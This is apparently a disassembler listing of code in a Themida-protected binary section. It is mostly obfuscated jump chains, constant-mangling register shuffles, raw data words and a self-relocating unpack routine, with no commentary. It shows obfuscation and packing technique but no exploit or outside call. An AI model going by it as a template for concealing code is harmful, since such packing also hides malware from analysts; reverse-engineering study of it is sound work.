		dd 0BF5746DFh, 35F00716h, 0FF43B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CA35:				; CODE XREF: Themida_:00556C62j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CE5C
; ---------------------------------------------------------------------------


loc_55CA51:				; CODE XREF: Themida_:005579B5j
		mov	edi, esp
		add	edi, 4
		push	ecx
		push	eax
		mov	eax, 12C7713Dh
		dec	eax
		shr	eax, 3
		not	eax
		jmp	loc_55770B
; ---------------------------------------------------------------------------


loc_55CA6B:				; CODE XREF: Themida_:0055966Cj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_552D07
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0F1h
		dd 8124348Bh, 4C4h, 8BC83100h, 21E9240Ch, 83FFFFFCh, 9DE904C4h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA93:				; CODE XREF: Themida_:00550FA0j
		add	[esp+4], edx
		sub	dword ptr [esp+4], 563C6DCFh
		pop	edx
		mov	eax, [esp]
		jmp	loc_552375
; ---------------------------------------------------------------------------
aBct		db '│ГБ',0Ah
		db '╣',0
		dw 564Fh
		dd 5BD55h, 0EE89FFECh, 5EF7015Dh, 3C8BF801h, 4C48324h
		dd 0FFD64AE9h, 243C87FFh, 0FF8D02E9h, 240C8BFFh, 575B5453h
		dd 9E95E956h, 0DF01FFFFh, 0FFC710E9h, 0F65866FFh, 0E738E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAEE:				; CODE XREF: Themida_:00558D21j
		add	ebp, 0EB80F484h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, 66C43759h
		push	edi
		push	ebx
		jmp	loc_55133C
; ---------------------------------------------------------------------------


loc_55CB0C:				; CODE XREF: Themida_:005580EBj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	ecx
		push	ebp
		mov	ebp, 427D6FA0h
		jmp	loc_55A12B
; ---------------------------------------------------------------------------
		db 1, 0F8h, 5Fh
		dd 0FFE9D029h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB2B:				; CODE XREF: Themida_:00552E25j
		push	22B33A4Eh
		pop	ebx
		jmp	loc_55B0C8
; ---------------------------------------------------------------------------


loc_55CB36:				; CODE XREF: Themida_:0055137Ej
		mov	[esp], esi
		push	ebx
		push	414B076Fh
		jmp	loc_5587AF
; ---------------------------------------------------------------------------
		dd 0A6E9EE89h, 66FFFF98h, 0E924048Bh, 0FFFFD7B9h, 0B35366ACh
		dd 0E9D828EBh, 0FFFF3F7Fh, 240C8B66h, 0FF63EFE9h, 4C483FFh
		dd 89C78957h, 0C544E9FBh, 335BFFFFh, 2C31242Ch,	242C3324h
		dd 0F624248Bh, 0B60F66E9h, 0E18951CCh, 4C181h, 0EC810000h
		dd 4, 0FFFB43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB9D:				; CODE XREF: Themida_:0055796Cj
		pop	ebx
		add	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55400C
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 7592EA81h, 40E9A5A9h, 0B9FFFF73h, 624162A5h,	5859CF29h
		dd 630BC781h, 0FD013EF7h, 1EE9515Fh, 5AFFFFA1h,	7505F829h
		dd 5F5CEC5Fh, 0B951E829h, 6820380h, 0FF4785E9h,	0BDE950FFh
		dd 68FFFF57h, 5400h, 83241489h,	97E904ECh, 80FFFFADh, 0ED80D1F5h
		dd 4E5C007h, 0C075B753h, 0CFFE02E7h, 0E919CF80h, 0FFFF8489h
		dd 2BEh, 5EF00100h, 5C240487h, 0C8BE0F66h, 75B4E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC2E:				; CODE XREF: Themida_:0055A325j
		mov	edx, 38C35FEDh
		add	edx, 0C82060h
		jmp	loc_558B72
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0FF9E92E9h, 4BD55FFh, 1000000h, 242C8BE8h, 4C481h, 4050000h
		dd 33000000h, 4312404h,	24043324h, 0FFA845E9h, 66F9F6FFh
		dd 66CCB60Fh, 6604E168h, 66240C89h, 66C8B60Fh, 1FE99C51h
		dd 89FFFFF5h, 4BB241Ch,	0E9000000h, 0FFFF88A0h,	0E904EC83h
		dd 0FFFF9746h, 5204C483h, 756452BAh, 0EAC14A24h, 9B62E905h
		dd 0BBB7FFFFh, 0D7F6D7F6h, 0C780D7F6h, 7CE4E9A5h, 0C781FFFFh
		dd 4, 4C781h, 40E90000h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCCB:				; CODE XREF: Themida_:00553B4Cj
		xor	edx, 0CE15F3Dh
		xor	edx, 78013835h
		mov	ebx, edx
		pop	edx
		jmp	loc_55A8D0
; ---------------------------------------------------------------------------


loc_55CCDF:				; CODE XREF: Themida_:00559A5Ej
		push	7512h
		jmp	loc_55BB05
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0CA010000h, 0FF9F4FE9h, 2C8759FFh, 4895C24h,	677B824h
		dd 9AE94309h, 89FFFF95h, 0ECB951E5h, 0F709E878h, 0F1C181D1h
		dd 109E878h, 0B0DBE9CDh, 405FFFFh, 83000000h, 0FF5002E8h
		dd 8B042474h, 0C4832404h, 24048F04h, 0FF6DD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CD39:				; CODE XREF: Themida_:00550ED7j
		add	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_559C8D
; ---------------------------------------------------------------------------
		dd 0B9h, 59CD8900h, 8904EC83h, 1C8B242Ch, 4C48124h, 5D000000h
		dd 0FF663CE9h, 0FFCE30FFh, 81592434h, 4C4h, 0E9F03000h
		dd 0FFFF8922h, 1EBA524Dh, 316C300Fh, 24148BD5h,	0FF3F5FE9h
		dd 240401FFh, 1E9B6850h, 29583904h, 8B042444h, 0C4832404h
		dd 3CA8E904h, 0C781FFFFh, 4EEE1766h, 0E61BE959h, 0EE80FFFFh
		dd 3CA6E908h, 2C5CFFFFh, 4D82884h, 0E6B75384h, 0B050D7F6h
		dd 8333E987h, 12B2FFFFh, 0E95AD328h, 0FFFF9903h, 6FE9028Fh
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CDD7:				; CODE XREF: Themida_:0055991Ej
		xor	ebp, 5DA67C9Bh
		jmp	loc_558D0E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E2895224h, 4C281h, 0B5E90000h, 81FFFFF6h, 0C92C1FC6h
		dd 81D60118h, 0C92C1FEEh, 0D66FE918h, 489FFFFh,	0E3A9E924h
		dd 77FFFFFFh, 0F060E92Ch, 895FFFFFh, 34FF59CDh,	59E95A24h
		dd 59FFFF7Eh, 575DEB01h, 2BFh, 0D6CAE900h, 8F59FFFFh, 855C2404h
		dd 7E99CC8h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE3F:				; CODE XREF: Themida_:00553EF6j
					; Themida_:00554CB4j
		push	ecx
		push	esp
		jmp	loc_555ABB
; ---------------------------------------------------------------------------


loc_55CE46:				; CODE XREF: Themida_:0055A0AFj
		xor	eax, ebp
		jmp	loc_5567EA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C241Ch, 0FFFF3BEAh
; ---------------------------------------------------------------------------


loc_55CE5C:				; CODE XREF: Themida_:0055CA4Cj
		add	esp, 4
		jmp	loc_55A724
; ---------------------------------------------------------------------------
		db 0FFh
		dd 3BD8E930h, 0DAF7FFFFh, 8104EAC1h, 0CFC833C2h, 8BD001FFh
		dd 89532414h, 4C381E3h,	0E9000000h, 0FFFFB228h,	2B951h
		dd 0CE010000h, 0FFC8E2E9h, 48B66FFh, 2AFD6824h,	14890000h
		dd 6C40E924h, 483FFFFh,	525F0424h, 4BAh, 56E5E900h, 2C8BFFFFh
		dd 0E0895024h, 0FF6DAEE9h, 2424D3FFh, 3B78E99Ch, 3E05FFFFh
		dd 0E9142025h, 0FFFFDEA8h, 0E924048Bh, 0FFFFA519h
; ---------------------------------------------------------------------------


loc_55CEE0:				; CODE XREF: Themida_:0055BB0Fj
		pop	esi
		jmp	loc_55C051
; ---------------------------------------------------------------------------
aRshM		db 'RSh╤m',0
		dd 243C8900h, 356BA5BFh, 10F78100h, 894A6D75h, 0DBF75FFBh
		dd 1EB9C381h, 0DA894A58h, 8BD5015Bh, 0C4832414h, 18E95104h
		dd 66FFFFA5h, 0A7E9DFF7h, 66FFFF9Fh, 5124048Bh,	81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 0E95C243Ch, 0FFFFDEAFh, 0C6E95358h
		dd 50FFFFD0h, 741DDB8h,	9CEAE96Eh, 34FFFFFFh, 986DE924h
		dd 0D889FFFFh, 0FF7AE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF5D:				; CODE XREF: Themida_:00558211j
		push	edx
		push	5B7B58E1h
		mov	edx, [esp]
		jmp	loc_559213
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFCDA8E9h, 9FB252FFh, 0E95AD300h, 0FFFFCAFCh, 240C8B5Ah
		dd 4C481h, 0CB800000h, 80C3FEB1h, 0D3F627E3h, 52BECB80h
		dd 0EA806AB2h, 44C280B0h, 0C280EAD0h, 0BED0E919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CFA6:				; CODE XREF: Themida_:00558DD2j
		sub	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 1793530Ch
		and	edi, 5EAE3578h
		inc	edi
		jmp	loc_55B8D9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 15FF831h, 0D5A2E9C7h, 304FFFFh, 8B7FFEh, 69DD0000h
		dd 59CB00A1h, 66030000h, 59CB005Bh, 8BDF005Bh, 217FA40h
		dd 20000h, 10000h, 20000h, 8BDF0000h, 0FA40h, 4	dup(0)
		dd 0D5BB0000h, 4B970056h, 8FB90056h, 40A90056h,	1EDC0056h
		dd 0D5CC0056h, 26B0055h, 0C7A20056h, 4A1A0056h,	6A1B0056h
		dd 0A7A20056h, 9C90056h, 9CC30057h, 55E30056h, 70040056h
		dd 1870056h, 0E9B70056h, 0FB3F0055h, 17910055h,	0F3A30056h
		dd 6D930056h, 95F30056h, 242E0056h, 0EA810056h,	0F1F40056h
		dd 5FEF0055h, 2ECF0056h, 7E590056h, 16000056h, 0DB970057h
		dd 0EDF90055h, 718A0055h, 68550056h, 7C5A0056h,	0AF20056h
		dd 0F3180057h, 0BC3D0056h, 0D5550056h, 0E8A60055h, 0E100055h
		dd 251D0057h, 0ED930056h, 0F8690056h, 0C80F0056h, 4FA30056h
		dd 74840056h, 0B0110056h, 0E2120056h, 4CD50056h, 0DFB20056h
		dd 0C0E40056h, 5E580056h, 0C1B00056h, 184D0056h, 0A0300057h
		dd 0C9300056h, 256F0056h, 7A680056h, 29F50056h,	8680057h
		dd 6FF80056h, 3F8D0056h, 3C7A0056h, 8FA30056h, 0F7650056h
		dd 19F80055h, 0D59B0056h, 8590055h, 141E0056h, 2F880057h
		dd 3C600056h, 5E50056h,	13470057h, 0CBB30056h, 2E4F0056h
		dd 0D1A50056h, 16D90056h, 9AC80056h, 6E320056h,	1EFA0056h
		dd 0C080057h, 0B1780057h, 452D0056h, 5AAD0056h,	0D1360056h
		dd 0C10056h, 35E50057h,	19070056h, 412B0056h, 0B1DB0056h
		dd 0BF2D0056h, 6AB20056h, 93A50056h, 735A0056h,	24280056h
		dd 0FE6C0057h, 0A2540056h, 325E0056h, 68DE0056h, 0EDF20056h
		dd 208B0056h, 86F90056h, 23210056h, 0F0E20056h,	790E0056h
		dd 0C53A0056h, 0AB590056h, 62F00056h, 6FDE0056h, 18C20056h
		dd 0FB190057h, 126B0056h, 7ED80056h, 10C0056h, 77B90057h
		dd 70D20056h, 6F520056h, 453E0056h, 1DF20056h, 67220057h
		dd 0B94B0056h, 5B20056h, 15A90056h, 9DA20056h, 0AC7D0056h
		dd 83C0056h, 62E20057h,	14F50056h, 61A10057h, 8ED50056h
		dd 0F6A70056h, 0F63A0055h, 0FA630056h, 135A0055h, 9D9B0056h
		dd 55D40056h, 0E7FB0056h, 72F70055h, 5800056h, 14C0056h
		dd 0EF9F0057h, 48250055h, 3E410056h, 2F210056h,	0E2E30056h
		dd 0ECB20055h, 0D9F70056h, 14A70055h, 0F2870056h, 45600056h
		dd 170A0056h, 0A12E0056h, 1BFF0056h, 78D70056h,	50E00056h
		dd 0E8010056h, 51020055h, 0D8430056h, 63250056h, 0A3590056h
		dd 7D90056h, 0E3F60057h, 8F1B0056h, 0E72E0056h,	67760055h
		dd 3AD20056h, 56150056h
		db 56h,	0
; ---------------------------------------------------------------------------


loc_55D2A6:				; CODE XREF: Themida_:005A52DDj
					; Themida_:005ACF1Bj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61546CFh
		mov	eax, edi
		add	edi, 61543E7h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55D2C4
		jmp	short loc_55D2D7
; ---------------------------------------------------------------------------


loc_55D2C4:				; CODE XREF: Themida_:0055D2C0j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55D2D3
; ---------------------------------------------------------------------------


loc_55D2CE:				; CODE XREF: Themida_:0055D2D5j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55D2D3:				; CODE XREF: Themida_:0055D2CCj
		or	ecx, ecx
		jnz	short loc_55D2CE


loc_55D2D7:				; CODE XREF: Themida_:0055D2C2j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55D2E4:				; CODE XREF: Themida_:0055D2EBj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55D2E4


loc_55D2ED:				; CODE XREF: Themida_:0055D8CEj
					; Themida_:0055DF51j ...
		lodsb
		add	al, 6Ch
		push	ecx
		mov	ch, 92h
		push	edi
		mov	edi, esp
		jmp	loc_55F46F
; ---------------------------------------------------------------------------


loc_55D2FB:				; CODE XREF: Themida_:00562A05j
		mov	edi, 25AB21DBh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_55EAE0
; ---------------------------------------------------------------------------


loc_55D30A:				; CODE XREF: Themida_:005727FEj
		push	edi
		mov	edi, 448742C3h
		and	eax, edi
		jmp	loc_570EB7
; ---------------------------------------------------------------------------


loc_55D317:				; CODE XREF: Themida_:00564FFEj
		mov	ah, bh
		jmp	loc_564035
; ---------------------------------------------------------------------------


loc_55D31E:				; CODE XREF: Themida_:0056E1A3j
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_56BF00
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9241489h, 1BFDh
; ---------------------------------------------------------------------------


loc_55D334:				; CODE XREF: Themida_:0055E75Aj
		xor	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_563C3B
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 18B74D08h
		jmp	loc_569675
; ---------------------------------------------------------------------------
		dw 1C89h
aIPsb		db '$┬оPИb>',0
		dd 4C28300h, 0E9241487h, 2EC0h
; ---------------------------------------------------------------------------


loc_55D364:				; CODE XREF: Themida_:0056C1A4j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 5A7239E0h
		jmp	loc_5724F0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 240C8B5Ah, 4C481h, 0D8000000h, 81241C8Bh,	4C4h, 50526600h
		dd 53506DB4h, 728868h, 8435E900h, 48F0000h, 24248B24h
		dd 34FFD000h, 24148B24h, 20A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D3B1:				; CODE XREF: Themida_:00565481j
		add	esp, 4
		push	esi
		mov	esi, 7EE00BCBh
		push	ecx
		mov	ecx, 195E7CDBh
		xor	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 47A42295h
		jmp	loc_56A33A
; ---------------------------------------------------------------------------


loc_55D3D1:				; CODE XREF: Themida_:0056DFADj
		add	bl, cl
		sub	bl, 0E0h
		sub	bl, 7Ch
		mov	ecx, [esp]
		jmp	loc_55E063
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 29h
		dd 0BE527275h, 0E62DD5BDh, 0ACE9EE01h, 5000090h, 4B4D44E3h
		dd 0E958C289h, 496Ch, 5C243487h, 8B242C87h, 4092424h, 0DAE99C24h
		dd 0E9FFFFFEh, 0FFFFFED5h, 8904EC83h, 0C3B42404h, 10E9DCF6h
		dd 8100003Fh, 9D1F83CDh, 0AFED8138h, 139FD9Fh, 68525DE9h
		dd 56B271CAh, 150FCE9h,	0F5805B00h, 59E828FEh, 0C8284B04h
		dd 9A044B2Ch, 0E3895359h, 7406E9h, 24348B00h, 6B8EE9h
		dd 0B2C78100h, 1638A7Eh, 0B2EF81DFh, 81638A7Eh,	200174C7h
		dd 0EF815B0Ch, 4, 8B243C87h, 1C892424h,	9BA4BB24h, 54514B00h
		dd 4C18159h, 81000000h,	4E9h, 240C3300h, 33240C31h, 895C240Ch
		dd 7682434h, 0E9000052h, 90FDh,	0E6C1E6D1h, 0A7CE8107h
		dd 810ACB65h, 0F1E853F6h, 5EF5297Ch, 3397B951h,	0C1814B69h
		dd 13E83531h, 0E959CD29h, 0DECAh, 6804C483h, 2939h, 50243C89h
		dd 806AA4B8h, 1C7F256Ah, 0BB5316ACh, 0B5EC9547h, 2DE9D829h
		dd 8B000031h, 0C483241Ch, 74FF5004h, 8F580424h,	248B2404h
		dd 48B6624h, 0DB52E924h, 14890000h, 317A6824h, 4890000h
		dd 7EB65224h, 12BCCE9h,	0C7BD5500h, 0E96F027Eh,	0C7E4h
; ---------------------------------------------------------------------------


loc_55D534:				; CODE XREF: Themida_:0056692Aj
		xor	[esp+4], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56505C
; ---------------------------------------------------------------------------
		db 1
		dd 32B3E9CAh, 0BA520001h, 34742E44h, 14232E9h, 240C8B00h
		dd 0E9E68956h, 0DE71h
; ---------------------------------------------------------------------------


loc_55D560:				; CODE XREF: Themida_:005729D7j
		xchg	esi, [esp]
		jmp	loc_55DBC4
; ---------------------------------------------------------------------------
		dd 4C55C581h, 0ED816955h, 5DDD3615h, 49A9E95Eh,	815F0001h
		dd 2F6AFDEFh, 0E9DF013Eh, 2FDBh
; ---------------------------------------------------------------------------


loc_55D588:				; CODE XREF: Themida_:005723A8j
		add	edx, 75BC4F2Bh
		add	edx, ebp
		sub	edx, 75BC4F2Bh
		jmp	loc_56E1FD
; ---------------------------------------------------------------------------
		db 0ADh
		dd 207F83h, 8C71840Fh, 0C6810000h, 24887364h, 7C6BBB53h
		dd 9CE900DCh, 5200008Bh, 0B2114BAh, 0F7E0E948h,	48B0000h
		dd 0E9545524h, 0EB51h, 0E956AD66h, 92CEh
; ---------------------------------------------------------------------------


loc_55D5D4:				; CODE XREF: Themida_:0055E62Aj
		sub	ecx, esi
		mov	esi, [esp]
		jmp	loc_5687FE
; ---------------------------------------------------------------------------
		dw 0CF29h
		dd 5E7C159h, 4EC81h, 0C9E90000h, 5C0000F2h, 9F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D5F5:				; CODE XREF: Themida_:005674ADj
		mov	[esp], edi
		jmp	loc_56BF35
; ---------------------------------------------------------------------------


loc_55D5FD:				; CODE XREF: Themida_:005629C5j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 2
		add	eax, edi
		jmp	loc_55F3C2
; ---------------------------------------------------------------------------


loc_55D611:				; CODE XREF: Themida_:0056167Aj
		mov	edi, 4B603F63h
		add	edi, 3A404E49h
		jmp	loc_56E8A4
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
aLSj		db '▀$$Иj|',0
		align 4
		dd 2420C381h, 0FB01DFF7h, 1187E952h, 4B90001h, 2D000000h
		dd 44115E7Fh, 7F05C801h, 8B44115Eh, 0C483240Ch,	4EC8104h
		dd 89000000h, 0BE56241Ch, 282C7200h, 24048156h,	252947B3h
		dd 0B3EB815Bh, 5E252947h, 4EC81h, 0C890000h, 47E6B924h
		dd 0C1817D13h, 0AB192A1Ch, 5259CB31h, 0E82A00BAh, 8BD02958h
		dd 0C4832414h, 0C06E904h, 3C890001h, 2474FF24h,	243C8B04h
		dd 4C481h, 48F0000h, 14895C24h,	99BF5724h, 571F4866h, 0EA815F5Ah
		dd 0E60DD72Fh, 34FFD031h, 0E9525A24h, 0B53Bh
; ---------------------------------------------------------------------------


loc_55D6CC:				; CODE XREF: Themida_:00560547j
		pop	esp
		jmp	loc_569915
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 32CFEB81h, 0C3815F8Ah, 0E2AD219h, 815BD989h,	8F1CBCE1h
		dd 3E1C174h, 70A0C181h,	57E97E33h, 810000E1h, 0C01282E6h
		dd 0F5EE8113h, 0C126E930h, 0EAE906E6h, 0BA00004Fh, 68AC4E35h
		dd 55BB5352h, 1071A13h,	5B04245Ch, 55EF815Fh, 5A071A13h
		dd 0E95FFA89h, 0ED79h, 4BB53h, 0DE010000h, 0B2B8505Bh
		dd 0C17AAF11h, 0FE907E0h, 53000005h, 0C85888BBh, 5BDD010Eh
		dd 2B8505Fh, 1000000h, 0FF5558C5h, 0E9042474h, 94B7h, 0BFE9DDF7h
		dd 81000075h, 0C30CC7C5h, 0D259E973h, 0DE290000h, 0DBF575Bh
		dd 8103B56Eh, 9732F6CFh, 4E7C130h, 26E9E781h, 0C7811421h
		dd 226BE3E1h, 15FFE01h,	0C1EE81C6h, 81328D0Ah, 552E03C6h
		dd 4EC817Fh, 0E9000000h, 63A0h
; ---------------------------------------------------------------------------


loc_55D7AC:				; CODE XREF: Themida_:0056F313j
		add	ebp, edi
		pop	edi
		jmp	loc_562903
; ---------------------------------------------------------------------------
		dd 4C181h, 0C870000h, 24248B24h, 0E92434FFh, 0C37Eh, 5306E5C0h
		dd 19B7E9h, 0CF815800h,	7D10175Dh, 274EC781h, 0E781374Dh
		dd 0AFC7B44h, 8106E7C1h, 10C104F7h, 5FFB0112h, 0B8E956h
		dd 0B6520001h, 80D6F629h, 0E6C0C0C6h, 9D94E903h, 68B90000h
		dd 0E9A555C3h, 7DF7h, 2D0358B9h, 59CA0967h, 6C28C281h
		dd 0C5811042h, 75975D85h, 0ED81D501h, 75975D85h, 6853565Ah
		dd 69AA1F91h, 0EB81435Bh, 686AC31h, 30E9DE89h, 6600004Ah
		dd 0E9243489h, 25A3h
; ---------------------------------------------------------------------------


loc_55D84C:				; CODE XREF: Themida_:00565EFBj
		mov	ebx, 0
		jmp	loc_56F1D7
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 260C7109h, 0A18E681h, 1EE961DAh, 87000050h, 6AE92414h
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D86F:				; CODE XREF: Themida_:00563F3Fj
		sub	edi, 50A57C5Ch
		jmp	loc_565257
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 3084E9h, 81E58900h, 4C5h,	4ED8300h, 0E9242C87h, 7AF6h
; ---------------------------------------------------------------------------


loc_55D898:				; CODE XREF: Themida_:0056987Dj
		or	edx, eax
		jmp	loc_568E5A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5EF8100h, 158C978h, 5C781F7h, 8B58C978h, 89532434h
		dd 47E950E3h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D8BF:				; CODE XREF: Themida_:0056F81Fj
		sub	esi, 30744B47h
		jmp	loc_56CD24
; ---------------------------------------------------------------------------


loc_55D8CA:				; CODE XREF: Themida_:0056E782j
		add	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55D8D3:				; CODE XREF: Themida_:00568696j
		pop	ebx
		jmp	loc_56D46F
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 2
		dd 87000000h, 0E95C2414h, 0B49Eh
; ---------------------------------------------------------------------------


loc_55D8E8:				; CODE XREF: Themida_:00571DD6j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_56C89E
; ---------------------------------------------------------------------------
		dd 33243431h, 8B5C2434h, 89502414h
		db 0E0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	5C40h
		mov	[esp], edx
		mov	edx, 41617875h
		jmp	loc_570C39
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 6857535Ch, 1A45079Eh, 10426E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D945:				; CODE XREF: Themida_:005622F3j
		sub	ecx, 3D9471BDh
		jmp	loc_564454
; ---------------------------------------------------------------------------
		dd 6658E300h, 6658E768h, 0B2241489h, 1A14E92Ah,	0E9F60001h
		dd 0CCB60F66h, 4AD6866h, 240C8966h, 0C8B60F66h,	0E99C5166h
		dd 0FFFFF971h, 595AD301h, 0C48BE9h, 0CBF2D00h, 0EC0D7480h
		dd 51270915h, 6F8368h, 24148900h, 4E87E9h, 0C1815F00h
		dd 0EE1B5B29h, 81595F51h, 4ECh,	24148900h, 6171FB68h, 0F4C0E93Fh
		dd 50590000h, 243C77B8h, 3291E92Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D9C6:				; CODE XREF: Themida_:0055F308j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_56C61F
; ---------------------------------------------------------------------------
		db 29h
		dd 2C8B5FFAh, 4C48324h,	1FEAC281h, 0D0E9146Eh
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55D9E3:				; CODE XREF: Themida_:00562714j
		xor	[esp], ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_56900D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4196658h,	0EBE99C24h, 5B000000h, 0C107E3C1h
		dd 0F38102E3h, 0A8E01404h, 15BD889h, 0C8758C1h,	34FF5C24h
		dd 0BBE95A24h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA27:				; CODE XREF: Themida_:00560FCBj
		push	edx
		mov	edx, 2B1F5062h
		and	ebx, edx
		jmp	loc_563BB1
; ---------------------------------------------------------------------------
		dd 0D8F79141h, 3B96E9h,	4C48300h, 0E907EAC1h, 1023Dh, 3BE9514Fh
		dd 8B00005Ch, 0C4812414h, 4, 5866C520h,	0E904E5C0h, 0B825h
		dd 4C681h, 0BF570000h, 70702E58h, 0EF35E9h, 80DAF600h
		dd 0E951FFC2h, 0E729h, 80F5285Ah, 8B6660EDh, 0C4812414h
		dd 2, 8DAE952h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55DA96:				; CODE XREF: Themida_:0056B8F4j
		pop	eax
		jmp	loc_56BA39
; ---------------------------------------------------------------------------


loc_55DA9C:				; CODE XREF: Themida_:0056E82Ej
		and	esi, edi
		pop	edi
		jmp	loc_56C6C9
; ---------------------------------------------------------------------------
		dd 4C181h, 0C870000h, 0EC815C24h, 4, 0BA241489h, 585450E3h
		dd 0F701EA83h, 0ECA81D2h, 56664167h, 0D276857h,	3C8B53B4h
		dd 4C48324h, 0A0CDC781h, 0FE8953FFh, 1162E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DAE2:				; CODE XREF: Themida_:0056071Fj
		xor	ebp, ecx
		xor	ecx, ebp
		push	ecx
		jmp	loc_55EF93
; ---------------------------------------------------------------------------
aUsig		db 'UИ╘┐',0
		align 2
		dw 0F6E9h
		dd 47FFFFF7h, 0E96FF781h, 0FD31C4D4h, 0E9E8015Fh, 0F94Eh
		dd 0E90EF180h, 28A3h, 48B665Ch,	0B7C6824h, 14890000h, 3FCDE924h
		dd 0E8010000h, 4EC835Dh, 88241C89h, 8B3888CFh, 0C483241Ch
		dd 8ED0E904h, 66BF0000h, 55075A31h, 5BBE9h, 24143300h
		dd 0D55FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DB4D:				; CODE XREF: Themida_:005611DBj
		mov	ecx, 4B634909h
		sub	ecx, 11BC4B2Ch
		xor	ecx, 23DE13E5h
		jmp	loc_56C920
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F77FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB6E:				; CODE XREF: Themida_:00570AAEj
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561EFC
; ---------------------------------------------------------------------------


loc_55DB8D:				; CODE XREF: Themida_:0056ECADj
		mov	ebp, 4
		jmp	loc_57113F
; ---------------------------------------------------------------------------
aN1Sea		db '╜1ьИE═',0
		db 0
; ---------------------------------------------------------------------------


loc_55DB9F:				; CODE XREF: Themida_:0057280Ej
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 536E4334h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 536E4334h
		pop	eax
		jmp	loc_57171F
; ---------------------------------------------------------------------------


loc_55DBC4:				; CODE XREF: Themida_:0055D563j
		push	4B9Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56C482
